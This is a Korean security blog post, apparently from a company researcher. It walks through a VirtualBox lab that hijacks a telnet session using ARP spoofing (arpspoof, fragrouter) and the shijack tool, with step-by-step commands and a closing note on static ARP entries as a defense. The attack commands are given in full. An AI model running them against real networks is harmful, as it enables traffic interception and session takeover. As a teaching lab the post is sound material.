정보 보안

칼리 리눅스를 활용한 TCP 세션 하이재킹

안녕하세요, 씨앤텍 시스템즈 황순호 연구원입니다.

 

이번 포스트는 TCP 세션 하이재킹 공격입니다.


 

환경 구성을 위해 필요한 준비물은 다음과 같습니다

 

1. VirtualBox

2. VirtualBox에 설치 가능한 CentOS 7, Kali Linux 이미지

3. 이하 네트워크 환경

 


 

네트워크 구성은 다음과 같습니다.

 

Victim(CentOS 7)과 Attacker(Kali Linux)는 같은 네트워크에 있으며 Router를 통해 Server(CentOS 7)와 Victim은 텔넷 통신 중에 있습니다.

 

 

※ 네트워크 환경 구성에 대한 부분은 블로그의 [CentOS 7] VirtualBox를 이용한 다른 네트워크 간 게스트 통신을 참고하시면 됩니다.


 

1. 칼리 리눅스를 이용한 공격 

공격의 흐름은 다음과 같습니다.

 

Victim과 Server는 텔넷으로 통신 중입니다. Attacker는 ARP Spoofing 공격을 통해 Victim과 Router에게 각각의 IP address에 대한 MAC address를 자신으로 속여 Victim에게 스스로를 Router라고 속이고 Router에게는 Victim으로 가장합니다. 이로써 Victim이 내보내는 패킷이나 Victim에게 들어가는 패킷이 공격자를 통해 지나가게 됩니다. 이때 지나가는 패킷의 시퀀스 넘버를 탈취하여 클라이언트의 세션을 끊어 빼앗으면 세션 하이재킹 공격이 됩니다.

 

칼리 리눅스에서 터미널을 열어 하이재킹에 필요한 툴을 다운로드합니다.

 

$ sudo apt-get install dsniff
$ sudo apt-get install fragrouter

 

추가로 필요한 하이재킹 툴은 Packet Storm에서 shijack.tgz를 다운로드한 후 칼리 리눅스에서 압축을 풀도록 합니다.

 

터미널에서 다음 명령어를 입력합니다.

 

$ sudo fragrouter -B1

 

해당 명령어의 옵션은 ARP Spoofing 이후 클라이언트와 서버의 연결이 끊어지지 않도록 Attacker에게 들어오는 패킷을 정상적으로 클라이언트나 서버로 전달합니다.

 

ARP Spoofing 공격을 수행하겠습니다. 터미널 2개를 열어서 각각 다음 명령어를 입력합니다.

 

$ sudo arpspoof -i eth0 -t [Victim IP Address] [Router IP Address]
$ sudo arpspoof -i eth0 -t [Router IP Address] [Victim IP Address]

 



명령어를 입력하면 지속적으로 ARP 패킷을 보내 Victim과 Router로 하여금 Attacker에게 패킷을 보내도록 합니다.

 

다음은 tcpdump를 이용하여 Victim의 통신 포트를 알아보겠습니다. 이 부분은 칼리 리눅스에 기본적으로 설치되어있는 와이어샤크를 이용해도 좋습니다. 

 

$ sudo tcpdump -i [네트워크 인터페이스명] src [클라이언트 IP Address]

 

저의 경우 sudo tcpdump -i eth0 src 10.0.2.2를 입력하였습니다.

해당 명령어를 입력하고 난 뒤 텔넷으로 통신 중인 Victim에서 아무 키나 입력하게 되면 패킷이 발생하여 포트를 확인할 수 있습니다.



일반적으로 서버는 클라이언트와 통신이 가능하도록 고정된 포트를 이용합니다. 텔넷의 경우도 서버는 23번이라는 알려진 포트를 디폴트로 사용하지만 클라이언트는 서버 포트로 사용되지 않는 영역 내 임의의 포트를 사용합니다.

위 그림에서 서버는 telnet 포트, 즉 23번을 사용 중이며 클라이언트는 39542 포트 넘버를 사용하고 있음을 알 수 있습니다.

 

마지막으로 shijack 툴이 있는 폴더로 이동한 뒤 세션 하이재킹을 시도하겠습니다.

 

$ sudo ./shijack-lnx [인터페이스명] [Victim IP Address] [Victim Port Number] [Server IP Address] [Server Port Number]


다음 명령어를 입력하게 되면 Attacker는 패킷을 탈취할 준비가 완료되었습니다. 이 상태에서 마찬가지로 Victim이 임의의 키를 입력하게 되면 패킷이 발생하고 Attacker는 패킷의 시퀀스 넘버를 변조하여 클라이언트의 연결을 끊고 클라이언트로 가장하여 서버와 통신하게 됩니다.



세션 하이재킹이 완료되어 클라이언트의 연결은 끊기고 Attacker의 입력이 서버로 전달됩니다. 이 상태에서 mkdir test를 입력하고 엔터를 눌러보도록 합니다.



Server에서 확인을 해봅니다.



test 디렉터리가 생성된 것을 확인할 수 있습니다.


2. 세션 하이재킹 공격에 대한 대응법

 하이재킹 공격은 ARP Spoofing이 선행되어야 하며 ARP Spoofing이 성공한 시점에서 이미 공격자가 지나가는 모든 패킷을 들여다볼 수 있기 때문에 결국 ARP Spoofing 공격을 막는 것이 중요합니다.

대응 방안으로는 로컬 호스트에 대한 MAC address를 Static으로 정의하는 방법이 있습니다. Static으로 설정된 MAC address는 ARP 패킷에 의해 수정되지 않습니다.

 

감사합니다.

728x90

'정보 보안' 카테고리의 다른 글

정보보호 개요  (0) 2021.12.22
칼리 리눅스를 활용한 TCP 세션 하이재킹  (1) 2021.11.02